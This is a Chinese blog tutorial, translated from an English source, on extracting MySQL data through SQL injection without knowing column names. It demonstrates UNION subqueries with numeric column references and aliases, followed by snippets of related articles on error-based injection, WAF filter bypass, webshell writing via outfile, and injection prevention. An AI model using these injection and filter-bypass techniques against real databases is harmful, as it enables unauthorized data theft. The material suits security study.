MySQL在不知道列名情况下的注入详解
前言
最近感觉脑子空空,全在为了刷洞去挖洞,还是回归技术的本身让自己舒服些。好了,下面话不多说了,来一起看看详细的介绍吧
前提
以下情况适用于 MySQL < 5版本,或者在 MySQL >= 5 的版本[存在information_schema库],且已获取到库名和表名
① 当只能获取到表名,获取不到列名或者只能获取到无有效内容的列名情况【例如 id】
② 当希望通过information_schema库中的表去获取其他表的结构,即表名、列名等,但是这个库被WAF过滤掉的情况
其实个人感觉这个方法还是对 5 版本以下的实用性比较强一些,因为对我来说,一般遇到waf就放弃了(菜的真实23333)
解决
正常的查询:
以下是正常查询 test 库中的 user 表内容
select * from user;
UNION查询:
select 1,2,3,4 union select * from user;
数字对应列查询:
可以使用数字来对应列来进行查询,如 2 对应了表里面的 name 列
select `2` from (select 1,2,3,4 union select * from user)a;
别名代替查询:
当反引号 ` 不能使用的时候,可以使用别名来代替,如设置 2 的别名为 b
select b from (select 1,2 as b,3,4 union select * from user)a;
多列合并查询:
同上:这里反引号不能用的话,一样可以使用别名代替
select concat(`2`,0x3a,`3`) from (select 1,2,3,4 union select * from user)a limit 1,1;
仅作翻译以及思路整理
原文链接:https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对我们的支持。
相关推荐
-
MYSQL updatexml()函数报错注入解析
首先了解下updatexml()函数 UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程. 第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值 改变XML_document中符合X
-
node-mysql中防止SQL注入的方法总结
SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. node-mysql中防止SQL注入 为了防止SQL注入,可以将SQL中传入参数进行编码,而不是直接进行字符串拼接.在node-mysql中,防止SQL注入的常用方法有以下四种: 方法一:使用escape()对传入参数进行编码: 参数编码方法有如下三个: mysql.escape(param) connection.escap
-
PHP MYSQL注入攻击需要预防7个要点
1:数字型参数使用类似intval,floatval这样的方法强制过滤. 2:字符串型参数使用类似mysql_real_escape_string这样的方法强制过滤,而不是简单的addslashes. 3:最好抛弃mysql_query这样的拼接SQL查询方式,尽可能使用PDO的prepare绑定方式. 4:使用rewrite技术隐藏真实脚本及参数的信息,通过rewrite正则也能过滤可疑的参数. 5:关闭错误提示,不给攻击者提供敏感信息:display_errors=off. 6:以日志的方式
-
MySQL注入绕开过滤的技巧总结
首先来看GIF操作: 情况一:空格被过滤 使用括号()代替空格,任何可以计算出结果的语句,都可以用括号包围起来: select * from(users)where id=1; 使用注释/**/绕过空格: select * from/**/users/**/where id=1; 情况二:限制from与某种字符组合 在from后加个点.即使用from.来代替from: select * from. users where id=1; 再直接看GIF: 说白了,就是将'字段名 '替换成hex: 这
-
MySQL 及 SQL 注入与防范方法
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 我们永远不要信任用户的输入,我们必须认定用户输入的数据都是不安全的,我们都需要对用户输入的数据进行过滤处理. 1.以下实例中,输入的用户名必须为字母.数字及下划线的组合,且用户名长度为 8 到 20 个字符之间: if (preg_match("/^\w{8,20}$/", $_GET['username'], $matches)) { $result =
-
Mysql注入中的outfile、dumpfile、load_file函数详解
在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个 into dumpfile() into outfile() load_file() 我们本次的测试数据如下 读写文件函数调用的限制 因为涉及到在服务器上写入文件,所以上述函数能否成功执行受到参数 secure_file_priv 的影响.官方文档中的描述如下 翻译一下就是 其中当参数 secure_file_priv 为空时,对导入导出无限制 当值为一
-
Mysql数据库使用concat函数执行SQL注入查询
SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示出来. 例如:原本查询语句是 复制代码 代码如下: select username,email,content from test_table where user_id=uid; 其中uid,是用户输入的.正常显示结果会出现用户名,用户邮箱,用户留言内容.但是如果uid过滤不严,我们可以构造如下SQL语句来获得任意数据表信息. 复制代码 代码如下: u
-
mysql5 注入漏洞
复制代码 代码如下: select concat_ws(0x2f,information_schema.tables.table_schema,`information_schema`.`COLUMNS`.table_name,`information_schema`.`COLUMNS`.column_name) from `information_schema`.`COLUMNS` left join information_schema.tables on `information_sche
-
防止MySQL注入或HTML表单滥用的PHP程序
MySQL注入的意图是接管网站数据库并窃取信息.常见的开源数据库,如MySQL,已经被许多网站开发人员用来储存重要信息,如密码,个人信息和管理信息. MySQL之所以流行,是因为它与最流行的服务器端脚本语言PHP一起使用.而且,PHP是主导互联网的Linux- Apache服务器的主要语言.因此,这意味着黑客可以很容易地利用PHP就像Windows的间谍软件一样. 黑客向一个无担保的网页表单输入大量恶意代码(通过下拉菜单,搜索框,联系表单,查询表单和复选框). 恶意代码将被送到MySQL数据库,
-
SQL Injection with MySQL 注入分析
声明 本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责,本文所有代码均为本人所写,所有数据均经过测试.绝对真实.如果有什么遗漏或错误,欢迎来安全天使论坛和我交流. 前言 2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称
随机推荐
- javascript判断单选框或复选框是否选中方法集锦
- AngularJS实现页面跳转后自动弹出对话框实例代码
- jQuery 加上最后自己的验证
- SpringMVC接收页面表单参数
- 谈谈XCode9的新变化
- javascript动态加载实现方法一
- JS如何设置iOS中微信浏览器的title
- php时间不正确的解决方法
- PHP中的魔术方法总结和使用实例
- JSP 自定义标签之一 简单实例
- 不使用XMLHttpRequest实现异步加载 Iframe和script
- Linux输出信息并将信息记录到文件(tee命令)
- Apache Web服务器安全配置全攻略
- java支付宝即时到帐提交订单功能
- android闪关灯的开启和关闭方法代码实例
- 使用map实现单词转换的实例分析
- c#格式化数字的方法
- C# wx获取token的基本方法
- 配置路由器实现多设备控制端口访问
- Vue.js进阶知识点总结